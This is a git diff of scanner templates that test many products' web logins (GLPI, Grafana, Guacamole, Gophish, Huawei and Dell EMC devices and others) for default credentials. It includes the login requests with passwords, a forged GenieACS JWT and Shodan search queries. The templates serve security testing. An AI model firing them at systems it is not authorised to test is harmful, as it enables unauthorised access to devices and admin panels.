- name: DVWA Default Login - author: pdteam - severity: critical - tags: dvwa,default-login -requests: - - raw: - - | - GET /login.php HTTP/1.1 - Host: {{Hostname}} - Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 - Connection: close - - | - POST /login.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - Cookie: PHPSESSID={{session}}; security=low - Connection: close - - username={{username}}&password={{password}}&Login=Login&user_token={{token}} - payloads: - username: - - admin - password: - - password - attack: pitchfork - extractors: - - type: regex - name: token - group: 1 - internal: true - part: body - regex: - - "hidden' name='user_token' value='([0-9a-z]+)'" - - type: kval - name: session - internal: true - part: body - kval: - - PHPSESSID - redirects: true - matchers: - - type: word - words: - - "You have logged in as 'admin'" diff --git a/poc/default/emcecom-default-login-7211.yaml b/poc/default/emcecom-default-login-7211.yaml new file mode 100644 index 0000000000..1ad75f5e1f --- /dev/null +++ b/poc/default/emcecom-default-login-7211.yaml @@ -0,0 +1,43 @@ +id: dell-emc-ecom-default-login + +info: + name: Dell EMC ECOM Default Login + author: Techryptic (@Tech) + severity: high + description: Dell EMC ECOM default login information "(admin:#1Password)" was discovered. + remediation: To resolve this issue, perform a "remsys" and "addsys" with no other operations occurring (reference the appropriate SMI-S provider documentation) and specify the new password when re-adding the array. If there are issues performing the "addsys" operation, it is recommended to restart the management server on each SP. + reference: https://www.dell.com/support/kbdoc/en-za/000171270/vipr-controller-operation-denied-by-clariion-array-you-are-not-privileged-to-perform-the-requested-operation + tags: dell,emc,ecom,default-login + classification: + cwe-id: CWE-798 + +requests: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username + ':' + password)}} + + payloads: + username: + - root + password: + - calvin + attack: pitchfork + + matchers-condition: and + matchers: + - type: word + words: + - "Set-Cookie: ECOMSecurity" + part: header + + - type: word + words: + - "Welcome to ECOM" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/03 diff --git a/poc/default/emcecom-default-login-7214.yaml b/poc/default/emcecom-default-login-7214.yaml index c2ae6580d0..199ac75ebe 100644 --- a/poc/default/emcecom-default-login-7214.yaml +++ b/poc/default/emcecom-default-login-7214.yaml @@ -4,12 +4,11 @@ info: author: Techryptic (@Tech) severity: high description: Dell EMC ECOM default login information "(admin:#1Password)" was discovered. - reference: - - https://www.dell.com/support/kbdoc/en-za/000171270/vipr-controller-operation-denied-by-clariion-array-you-are-not-privileged-to-perform-the-requested-operation - classification: - cwe-id: CWE-798 remediation: To resolve this issue, perform a "remsys" and "addsys" with no other operations occurring (reference the appropriate SMI-S provider documentation) and specify the new password when re-adding the array. If there are issues performing the "addsys" operation, it is recommended to restart the management server on each SP. + reference: https://www.dell.com/support/kbdoc/en-za/000171270/vipr-controller-operation-denied-by-clariion-array-you-are-not-privileged-to-perform-the-requested-operation tags: dell,emc,ecom,default-login + classification: + cwe-id: CWE-798 requests: - raw: - | diff --git a/poc/default/emqx-default-login-7221.yaml b/poc/default/emqx-default-login-7221.yaml new file mode 100644 index 0000000000..b1ed01d3ba --- /dev/null +++ b/poc/default/emqx-default-login-7221.yaml @@ -0,0 +1,39 @@ +id: emqx-default-login + +info: + name: Emqx Default Admin Login + author: For3stCo1d + severity: high + description: Emqx default admin credentials were discovered. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + max-request: 1 + shodan-query: http.favicon.hash:"-670975485" + tags: emqx,default-login + +http: + - raw: + - | + POST /api/v4/auth HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + {"username":"{{user}}","password":"{{pass}}"} + + attack: pitchfork + payloads: + user: + - admin + pass: + - public + matchers: + - type: dsl + dsl: + - body == "{\"code\":0}" + - status_code == 200 + condition: and + +# digest: 490a00463044022067a7a08f872aa1f62f87f108d972c676355070d8b86f894d700f0572112c906c022019e869488e8a654f286b8c2c31915c948525b5bcdeadd817534ffad8e6e67734:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/flir-default-login.yaml b/poc/default/flir-default-login.yaml new file mode 100644 index 0000000000..c98ccc6f1c --- /dev/null +++ b/poc/default/flir-default-login.yaml @@ -0,0 +1,35 @@ +id: flir-default-login +info: + name: Flir Default Login + author: pikpikcu + severity: medium + tags: default-login,flir,camera,iot +requests: + - raw: + - | + POST /login/dologin HTTP/1.1 + Host: {{Hostname}} + Accept: */* + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + user_name={{username}}&user_password={{password}} + payloads: + username: + - admin + password: + - admin + attack: pitchfork + matchers-condition: and + matchers: + - type: word + words: + - '"success"' + - type: dsl + dsl: + - contains(tolower(all_headers), 'text/html') + - contains(tolower(all_headers), 'phpsessid') + - contains(tolower(all_headers), 'showcameraid') + condition: and + - type: status + status: + - 200 diff --git a/poc/default/frp-default-login-7556.yaml b/poc/default/frp-default-login-7556.yaml index bb194a6805..0402c27460 100644 --- a/poc/default/frp-default-login-7556.yaml +++ b/poc/default/frp-default-login-7556.yaml @@ -1,33 +1,38 @@ id: frp-default-login + info: name: FRP Default Login author: pikpikcu severity: high description: FRP default login credentials were discovered. - reference: - - https://github.com/fatedier/frp/issues/1840 + tags: frp,default-login + reference: https://github.com/fatedier/frp/issues/1840 classification: cwe-id: CWE-798 - tags: frp,default-login + requests: - raw: - | GET /api/proxy/tcp HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username + ':' + password)}} + payloads: username: - admin password: - admin attack: pitchfork + matchers-condition: and matchers: + - type: word words: - "proxies" part: body condition: and + - type: status status: - 200 diff --git a/poc/default/frp-default-login-7559.yaml b/poc/default/frp-default-login-7559.yaml new file mode 100644 index 0000000000..bb194a6805 --- /dev/null +++ b/poc/default/frp-default-login-7559.yaml @@ -0,0 +1,35 @@ +id: frp-default-login +info: + name: FRP Default Login + author: pikpikcu + severity: high + description: FRP default login credentials were discovered. + reference: + - https://github.com/fatedier/frp/issues/1840 + classification: + cwe-id: CWE-798 + tags: frp,default-login +requests: + - raw: + - | + GET /api/proxy/tcp HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username + ':' + password)}} + payloads: + username: + - admin + password: + - admin + attack: pitchfork + matchers-condition: and + matchers: + - type: word + words: + - "proxies" + part: body + condition: and + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/03 diff --git a/poc/default/frp-default-login.yaml b/poc/default/frp-default-login.yaml new file mode 100644 index 0000000000..601e60ca39 --- /dev/null +++ b/poc/default/frp-default-login.yaml @@ -0,0 +1,34 @@ +id: frp-default-login +info: + name: FRP Default Login + author: pikpikcu + severity: high + description: FRP default login credentials were discovered. + tags: frp,default-login + reference: https://github.com/fatedier/frp/issues/1840 + classification: + cwe-id: CWE-798 +requests: + - raw: + - | + GET /api/proxy/tcp HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username + ':' + password)}} + payloads: + username: + - admin + password: + - admin + attack: pitchfork + matchers-condition: and + matchers: + - type: word + words: + - "proxies" + part: body + condition: and + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/03 diff --git a/poc/default/genieacs-default-jwt.yaml b/poc/default/genieacs-default-jwt.yaml new file mode 100644 index 0000000000..e423a75f66 --- /dev/null +++ b/poc/default/genieacs-default-jwt.yaml @@ -0,0 +1,56 @@ +id: genieacs-default-jwt + +info: + name: GenieACS - Authentication Bypass (Default JWT Secret) + author: DhiyaneshDK,pussycat0x + severity: high + description: | + GenieACS, an Auto Configuration Server (ACS) for TR-069 enabled routers and similar devices, is vulnerable to authentication bypass due to the use of a default JWT secret. During installation, if the default JWT secret "secret" is not changed, an attacker can create a JWT token, sign it, and use this token to log into the GenieACS UI interface. The attack is carried out by setting a cookie named "genieacs-ui-jwt" with its value being the JWT token. + reference: + - https://0x00sec.org/t/genieacs-and-the-tale-of-default-jwt-secret/32738 + classification: + cwe-id: CWE-798 + cpe: cpe:2.3:a:genieacs:genieacs:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: genieacs + product: genieacs + shodan-query: http.html:"genieacs" + tags: misconfig,jwt,genieacs,default-jwt +variables: + cookie_name: genieacs-ui-jwt + default_jwt_secret: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYXV0aE1ldGhvZCI6ImxvY2FsIiwiaWF0IjoxNzgyNTc0NDEyfQ.y2JaygP5n4WBYQ_dytgS0qet0b6KvtT31UJWqee4L6c + +http: + - raw: + - | + GET /api/presets/?filter=true HTTP/1.1 + Host: {{Hostname}} + Accept: application/json, text/* + Cookie: {{cookie_name}}={{default_jwt_secret}} + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"provision":' + - '"provisionArgs":' + condition: and + + - type: word + part: header + words: + - application/json + + - type: status + status: + - 200 + + extractors: + - type: dsl + dsl: + - '"JWT Secret 👉 " + cookie_name + "=" + default_jwt_secret' + +# digest: 490a004630440220389b51224a53596dc94027b27c7c3737a69f45b30141e0239c63d681e26f5dfe02205b7fd4b5e07ef3f0a9397a734a5b859acd9b4edf58c16c1c39a80d28730a1240:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/geoserver-default-login-7593.yaml b/poc/default/geoserver-default-login-7593.yaml index 8826f11126..bfa4f285ae 100644 --- a/poc/default/geoserver-default-login-7593.yaml +++ b/poc/default/geoserver-default-login-7593.yaml @@ -1,23 +1,22 @@ id: geoserver-default-login info: - name: Geoserver Admin - Default Login - author: For3stCo1d,professorabhay,ritikchaddha + name: Geoserver Default Admin Login + author: For3stCo1d severity: high description: Geoserver default admin credentials were discovered. reference: - http://geoserver.org/ + metadata: + fofa-query: app="GeoServer" classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - metadata: - verified: true - max-request: 2 - fofa-query: app="GeoServer" tags: geoserver,default-login -http: +requests: - raw: - | POST /geoserver/j_spring_security_check HTTP/1.1 @@ -25,9 +24,6 @@ http: Content-Type: application/x-www-form-urlencoded username={{user}}&password={{pass}} - - | - GET /geoserver/web/ HTTP/1.1 - Host: {{Hostname}} attack: pitchfork payloads: @@ -35,14 +31,17 @@ http: - admin pass: - geoserver - host-redirects: true - max-redirects: 2 + + matchers-condition: and matchers: - type: dsl dsl: - - "contains(tolower(location_1), '/geoserver/web') && contains(body_2, 'admin')" - - "!contains(tolower(location_1), 'error=true')" - - 'status_code_1 == 302' + - "contains(tolower(location), '/geoserver/web')" + - "!contains(tolower(location), 'error=true')" condition: and -# digest: 4b0a00483046022100a9f8c66846579a4d8b3b2111a9538eba5e79ee0f9a5a5eb24b89d3e3d61070d5022100fe8f6fc7dcbc6a8ee37a9f4ef22fc0d6cad9aa606b8b3216e83b97e67e3d842f:922c64590222798bb761d5b6d8e72950 + - type: status + status: + - 302 + +# Enhanced by mp on 2022/03/28 diff --git a/poc/default/geoserver-default-login-7594.yaml b/poc/default/geoserver-default-login-7594.yaml index b7289715f5..0c98134403 100644 --- a/poc/default/geoserver-default-login-7594.yaml +++ b/poc/default/geoserver-default-login-7594.yaml @@ -6,12 +6,13 @@ info: description: Geoserver default admin credentials were discovered. reference: - http://geoserver.org/ + metadata: + fofa-query: app="GeoServer" classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - metadata: - fofa-query: app="GeoServer" tags: geoserver,default-login requests: - raw: diff --git a/poc/default/glpi-default-login-7731.yaml b/poc/default/glpi-default-login-7731.yaml index 26612339e6..e411c10039 100644 --- a/poc/default/glpi-default-login-7731.yaml +++ b/poc/default/glpi-default-login-7731.yaml @@ -1,21 +1,19 @@ id: glpi-default-login - info: name: GLPI Default Login author: andysvints severity: high - tags: glpi,default-login description: GLPI default login credentials were discovered. GLPI is an ITSM software tool that helps you plan and manage IT changes. This template checks if a default super admin account (glpi/glpi) is enabled. - reference: https://glpi-project.org/ + reference: + - https://glpi-project.org/ classification: cwe-id: CWE-798 - + tags: glpi,default-login requests: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} - - | POST /front/login.php HTTP/1.1 Host: {{Hostname}} @@ -24,14 +22,12 @@ requests: Referer: {{BaseURL}} {{name}}={{user}}&{{password}}={{pass}}&auth=local&submit=Submit&_glpi_csrf_token={{token}} - attack: pitchfork payloads: user: - glpi pass: - glpi - extractors: - type: regex name: token @@ -40,7 +36,6 @@ requests: group: 1 regex: - "hidden\" name=\"_glpi_csrf_token\" value=\"([0-9a-z]+)\"" - - type: regex name: name part: body @@ -48,7 +43,6 @@ requests: group: 1 regex: - "type=\"text\" name=\"([0-9a-z]+)\" id=\"login_name\" required=\"required\"" - - type: regex name: password part: body @@ -56,14 +50,12 @@ requests: group: 1 regex: - "type=\"password\" name=\"([0-9a-z]+)\" id=\"login_password\" required=\"required\"" - cookie-reuse: true matchers-condition: and matchers: - type: word words: - 'GLPI - Standard Interface' - - type: status status: - 200 diff --git a/poc/default/glpi-default-login-7732.yaml b/poc/default/glpi-default-login-7732.yaml deleted file mode 100644 index e411c10039..0000000000 --- a/poc/default/glpi-default-login-7732.yaml +++ /dev/null @@ -1,63 +0,0 @@ -id: glpi-default-login -info: - name: GLPI Default Login - author: andysvints - severity: high - description: GLPI default login credentials were discovered. GLPI is an ITSM software tool that helps you plan and manage IT changes. This template checks if a default super admin account (glpi/glpi) is enabled. - reference: - - https://glpi-project.org/ - classification: - cwe-id: CWE-798 - tags: glpi,default-login -requests: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - - | - POST /front/login.php HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - Content-Type: application/x-www-form-urlencoded - Referer: {{BaseURL}} - - {{name}}={{user}}&{{password}}={{pass}}&auth=local&submit=Submit&_glpi_csrf_token={{token}} - attack: pitchfork - payloads: - user: - - glpi - pass: - - glpi - extractors: - - type: regex - name: token - part: body - internal: true - group: 1 - regex: - - "hidden\" name=\"_glpi_csrf_token\" value=\"([0-9a-z]+)\"" - - type: regex - name: name - part: body - internal: true - group: 1 - regex: - - "type=\"text\" name=\"([0-9a-z]+)\" id=\"login_name\" required=\"required\"" - - type: regex - name: password - part: body - internal: true - group: 1 - regex: - - "type=\"password\" name=\"([0-9a-z]+)\" id=\"login_password\" required=\"required\"" - cookie-reuse: true - matchers-condition: and - matchers: - - type: word - words: - - 'GLPI - Standard Interface' - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/03 diff --git a/poc/default/glpi-default-login.yaml b/poc/default/glpi-default-login.yaml deleted file mode 100644 index 63857480c0..0000000000 --- a/poc/default/glpi-default-login.yaml +++ /dev/null @@ -1,62 +0,0 @@ -id: glpi-default-login -info: - name: GLPI Default Login - author: andysvints - severity: high - tags: glpi,default-login - description: GLPI default login credentials were discovered. GLPI is an ITSM software tool that helps you plan and manage IT changes. This template checks if a default super admin account (glpi/glpi) is enabled. - reference: https://glpi-project.org/ - classification: - cwe-id: CWE-798 -requests: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - - | - POST /front/login.php HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - Content-Type: application/x-www-form-urlencoded - Referer: {{BaseURL}} - - {{name}}={{user}}&{{password}}={{pass}}&auth=local&submit=Submit&_glpi_csrf_token={{token}} - attack: pitchfork - payloads: - user: - - glpi - pass: - - glpi - extractors: - - type: regex - name: token - part: body - internal: true - group: 1 - regex: - - "hidden\" name=\"_glpi_csrf_token\" value=\"([0-9a-z]+)\"" - - type: regex - name: name - part: body - internal: true - group: 1 - regex: - - "type=\"text\" name=\"([0-9a-z]+)\" id=\"login_name\" required=\"required\"" - - type: regex - name: password - part: body - internal: true - group: 1 - regex: - - "type=\"password\" name=\"([0-9a-z]+)\" id=\"login_password\" required=\"required\"" - cookie-reuse: true - matchers-condition: and - matchers: - - type: word - words: - - 'GLPI - Standard Interface' - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/03 diff --git a/poc/default/gophish-default-login-7792.yaml b/poc/default/gophish-default-login-7792.yaml index 51c95010f1..9b2b924bb1 100644 --- a/poc/default/gophish-default-login-7792.yaml +++ b/poc/default/gophish-default-login-7792.yaml @@ -1,18 +1,10 @@ id: gophish-default-login info: - name: Gophish < v0.10.1 Default Credentials + name: Gophish < v0.10.1 default credentials author: arcc,dhiyaneshDK severity: high tags: gophish,default-login - description: For versions of Gophish > 0.10.1, the temporary administrator credentials are printed in the logs when you first execute the Gophish binary. - reference: - - https://docs.getgophish.com/user-guide/getting-started - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 requests: - raw: @@ -51,6 +43,4 @@ requests: - "contains(tolower(all_headers), 'location: /')" - "contains(tolower(all_headers), 'gophish')" - "status_code==302" - condition: and - -# Enhanced by mp on 2022/03/10 + condition: and \ No newline at end of file diff --git a/poc/default/gophish-default-login-7794.yaml b/poc/default/gophish-default-login-7794.yaml new file mode 100644 index 0000000000..7461bedb59 --- /dev/null +++ b/poc/default/gophish-default-login-7794.yaml @@ -0,0 +1,40 @@ +id: gophish-default-login +info: + name: Gophish < v0.10.1 default credentials + author: arcc,dhiyaneshDK + severity: high + tags: gophish,default-login +requests: + - raw: + - | + GET /login HTTP/1.1 + Host: {{Hostname}} + - | + POST /login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username={{user}}&password={{pass}}&csrf_token={{replace(url_encode(html_unescape(csrf_token)), "+", "%2B")}} + attack: pitchfork + payloads: + user: + - admin + pass: + - gophish + cookie-reuse: true + extractors: + - type: regex + name: csrf_token + part: body + internal: true + group: 1 + regex: + - 'name="csrf_token" value="(.+?)"' + matchers: + - type: dsl + dsl: + - "!contains(tolower(all_headers), 'location: /login')" + - "contains(tolower(all_headers), 'location: /')" + - "contains(tolower(all_headers), 'gophish')" + - "status_code==302" + condition: and diff --git a/poc/default/grafana-default-login-7801.yaml b/poc/default/grafana-default-login-7801.yaml index c6f47b7acd..88ad944920 100644 --- a/poc/default/grafana-default-login-7801.yaml +++ b/poc/default/grafana-default-login-7801.yaml @@ -4,6 +4,7 @@ info: name: Grafana Default Login author: pdteam severity: high + tags: grafana,default-login description: Grafana default admin login credentials were detected. reference: - https://grafana.com/docs/grafana/latest/administration/configuration/#disable_brute_force_login_protection @@ -12,8 +13,8 @@ info: classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - tags: grafana,default-login requests: - raw: diff --git a/poc/default/grafana-default-login-7804.yaml b/poc/default/grafana-default-login-7804.yaml index 8bc1527c81..c65af62d4d 100644 --- a/poc/default/grafana-default-login-7804.yaml +++ b/poc/default/grafana-default-login-7804.yaml @@ -1,9 +1,19 @@ id: grafana-default-login info: name: Grafana Default Login - author: d3sca + author: pdteam severity: high tags: grafana,default-login + description: Grafana default admin login credentials were detected. + reference: + - https://grafana.com/docs/grafana/latest/administration/configuration/#disable_brute_force_login_protection + - https://stackoverflow.com/questions/54039604/what-is-the-default-username-and-password-for-grafana-login-page + - https://github.com/grafana/grafana/issues/14755 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: CWE-522 requests: - raw: - | @@ -36,3 +46,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/default/guacamole-default-login-7861.yaml b/poc/default/guacamole-default-login-7861.yaml deleted file mode 100644 index 49696737ef..0000000000 --- a/poc/default/guacamole-default-login-7861.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: guacamole-default-login -info: - name: Guacamole Default Login - author: r3dg33k - severity: high - tags: guacamole,default-login - description: Guacamole default admin login credentials were detected. - reference: https://wiki.debian.org/Guacamole#:~:text=You%20can%20now%20access%20the,password%20are%20both%20%22guacadmin%22 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 -requests: - - raw: - - | - POST /api/tokens HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - Origin: {{Hostname}} - Referer: {{Hostname}} - - username={{username}}&password={{password}} - payloads: - username: - - guacadmin - password: - - guacadmin - attack: pitchfork - matchers-condition: and - matchers: - - type: word - words: - - '"username"' - - '"authToken"' - - '"guacadmin"' - condition: and - - type: word - words: - - 'application/json' - part: header - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/10 diff --git a/poc/default/guacamole-default-login.yaml b/poc/default/guacamole-default-login.yaml new file mode 100644 index 0000000000..8517bac93a --- /dev/null +++ b/poc/default/guacamole-default-login.yaml @@ -0,0 +1,46 @@ +id: guacamole-default-login +info: + name: Guacamole Default Login + author: r3dg33k + severity: high + description: Guacamole default admin login credentials were detected. + reference: + - https://wiki.debian.org/Guacamole#:~:text=You%20can%20now%20access%20the,password%20are%20both%20%22guacadmin%22 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + tags: guacamole,default-login +requests: + - raw: + - | + POST /api/tokens HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Origin: {{Hostname}} + Referer: {{Hostname}} + + username={{username}}&password={{password}} + payloads: + username: + - guacadmin + password: + - guacadmin + attack: pitchfork + matchers-condition: and + matchers: + - type: word + words: + - '"username"' + - '"authToken"' + - '"guacadmin"' + condition: and + - type: word + words: + - 'application/json' + part: header + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/default/hongdian-default-login-7997.yaml b/poc/default/hongdian-default-login-7997.yaml index 1ca17e5a22..3f7651fbf9 100644 --- a/poc/default/hongdian-default-login-7997.yaml +++ b/poc/default/hongdian-default-login-7997.yaml @@ -5,16 +5,17 @@ info: author: gy741 severity: high description: Hongdian default login information was detected. - tags: hongdian,default-login reference: - https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 - cve-id: cwe-id: CWE-522 + metadata: + max-request: 4 + tags: hongdian,default-login -requests: +http: - raw: - | GET / HTTP/1.1 @@ -22,7 +23,6 @@ requests: Authorization: Basic {{base64(username + ':' + password)}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate - - | GET / HTTP/1.1 Host: {{Hostname}} @@ -55,4 +55,4 @@ requests: status: - 200 -# Enhanced by mp on 2022/03/10 +# digest: 4a0a00473045022017bb85017e526fa64366b77fb14e8e0656077fac27790f7249aab6f77f8891e3022100f2ba82e9123fc811000d24d111352e157c3f7b746e6c93b019049a2f60380c7d:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/hongdian-default-login-7998.yaml b/poc/default/hongdian-default-login-7998.yaml index d17f959c02..909c104a03 100644 --- a/poc/default/hongdian-default-login-7998.yaml +++ b/poc/default/hongdian-default-login-7998.yaml @@ -3,15 +3,7 @@ info: name: Hongdian Default Login author: gy741 severity: high - description: Hongdian default login information was detected. tags: hongdian,default-login - reference: - - https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 requests: - raw: - | @@ -47,5 +39,3 @@ requests: - type: status status: - 200 - -# Enhanced by mp on 2022/03/10 diff --git a/poc/default/hp-switch-default-login-8035.yaml b/poc/default/hp-switch-default-login-8035.yaml new file mode 100644 index 0000000000..6068ca88f4 --- /dev/null +++ b/poc/default/hp-switch-default-login-8035.yaml @@ -0,0 +1,41 @@ +id: hp-switch-default-login +info: + name: HP 1820-8G Switch J9979A Default Login + author: pussycat0x + severity: high + description: HP 1820-8G Switch J9979A default admin login credentials were discovered. + reference: https://support.hpe.com/hpesc/public/docDisplay?docId=a00077779en_us&docLocale=en_US + metadata: + fofa-query: 'HP 1820-8G Switch J9979A' + tags: default-login,hp + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: CWE-522 + +requests: + - raw: + - | + POST /htdocs/login/login.lua HTTP/1.1 + Host: {{Hostname}} + + username={{username}}&password= + + payloads: + username: + - admin + + matchers-condition: and + matchers: + - type: word + condition: and + words: + - '"redirect": "/htdocs/pages/main/main.lsp"' + - '"error": ""' + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/default/hp-switch-default-login-8036.yaml b/poc/default/hp-switch-default-login-8036.yaml deleted file mode 100644 index 22810268d6..0000000000 --- a/poc/default/hp-switch-default-login-8036.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: hp-switch-default-login -info: - name: HP 1820-8G Switch J9979A Default Credential - author: pussycat0x - severity: high - reference: https://support.hpe.com/hpesc/public/docDisplay?docId=a00077779en_us&docLocale=en_US - metadata: - fofa-query: 'HP 1820-8G Switch J9979A' - tags: default-login,hp -requests: - - raw: - - | - POST /htdocs/login/login.lua HTTP/1.1 - Host: {{Hostname}} - - username={{username}}&password= - payloads: - username: - - admin - matchers-condition: and - matchers: - - type: word - condition: and - words: - - '"redirect": "/htdocs/pages/main/main.lsp"' - - '"error": ""' - - type: status - status: - - 200 diff --git a/poc/default/hp-switch-default-login-8038.yaml b/poc/default/hp-switch-default-login-8038.yaml index 6142cb38aa..22810268d6 100644 --- a/poc/default/hp-switch-default-login-8038.yaml +++ b/poc/default/hp-switch-default-login-8038.yaml @@ -1,17 +1,11 @@ id: hp-switch-default-login info: - name: HP 1820-8G Switch J9979A Default Login + name: HP 1820-8G Switch J9979A Default Credential author: pussycat0x severity: high - description: HP 1820-8G Switch J9979A default admin login credentials were discovered. - reference: - - https://support.hpe.com/hpesc/public/docDisplay?docId=a00077779en_us&docLocale=en_US - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 + reference: https://support.hpe.com/hpesc/public/docDisplay?docId=a00077779en_us&docLocale=en_US metadata: - fofa-query: HP 1820-8G Switch J9979A + fofa-query: 'HP 1820-8G Switch J9979A' tags: default-login,hp requests: - raw: @@ -33,5 +27,3 @@ requests: - type: status status: - 200 - -# Enhanced by mp on 2022/03/10 diff --git a/poc/default/huawei-HG532e-default-login.yaml b/poc/default/huawei-HG532e-default-login.yaml new file mode 100755 index 0000000000..f2400f5991 --- /dev/null +++ b/poc/default/huawei-HG532e-default-login.yaml @@ -0,0 +1,39 @@ +id: huawei-HG532e-default-login +info: + name: Huawei HG532e Default Credential + author: + - l0ne1y + description: |- + 华为HG532e默认账号密码 + Huawei HG532e是中国华为(Huawei)公司的一款无线路由器产品。 + Huawei HG532e其web管理后台存在默认账户 + severity: high + remediation: |- + 1、配置所有的安全机制 + 2、最小原则,关掉或限制不使用的服务 + 3、更改默认账户信息 + 4、使用日志和警报 + 5、回显信息不显示任何与实际错误相关的信息 + 6、检查和修复安全配置项 +requests: +- matchers: + - type: word + part: header + words: + - 'Set-Cookie: SessionID' + - type: word + part: body + words: + - replace + - type: status + status: + - 200 + matchers-condition: and + raw: + - | + POST /index/login.cgi HTTP/1.1 + Host: {{Hostname}} + Cookie: Language=en; FirstMenu=Admin_0; SecondMenu=Admin_0_0; ThirdMenu=Admin_0_0_0 + Content-Type: application/x-www-form-urlencoded + + Username=user&Password=MDRmODk5NmRhNzYzYjdhOTY5YjEwMjhlZTMwMDc1NjllYWYzYTYzNTQ4NmRkYWIyMTFkNTEyYzg1YjlkZjhmYg%3D%3D diff --git a/poc/default/huawei-HG532e-default-router-login.yaml b/poc/default/huawei-HG532e-default-router-login.yaml old mode 100755 new mode 100644 index f2400f5991..5b907dd987 --- a/poc/default/huawei-HG532e-default-router-login.yaml +++ b/poc/default/huawei-HG532e-default-router-login.yaml @@ -1,39 +1,30 @@ id: huawei-HG532e-default-login info: name: Huawei HG532e Default Credential - author: - - l0ne1y - description: |- - 华为HG532e默认账号密码 - Huawei HG532e是中国华为(Huawei)公司的一款无线路由器产品。 - Huawei HG532e其web管理后台存在默认账户 + author: pussycat0x severity: high - remediation: |- - 1、配置所有的安全机制 - 2、最小原则,关掉或限制不使用的服务 - 3、更改默认账户信息 - 4、使用日志和警报 - 5、回显信息不显示任何与实际错误相关的信息 - 6、检查和修复安全配置项 + metadata: + shodan-query: http.html:"HG532e" + tags: default-login,huawei requests: -- matchers: - - type: word - part: header - words: - - 'Set-Cookie: SessionID' - - type: word - part: body - words: - - replace - - type: status - status: - - 200 - matchers-condition: and - raw: - - | - POST /index/login.cgi HTTP/1.1 - Host: {{Hostname}} - Cookie: Language=en; FirstMenu=Admin_0; SecondMenu=Admin_0_0; ThirdMenu=Admin_0_0_0 - Content-Type: application/x-www-form-urlencoded + - raw: + - | + POST /index/login.cgi HTTP/1.1 + Host: {{Hostname}} + Cookie: Language=en; FirstMenu=Admin_0; SecondMenu=Admin_0_0; ThirdMenu=Admin_0_0_0 + Content-Type: application/x-www-form-urlencoded - 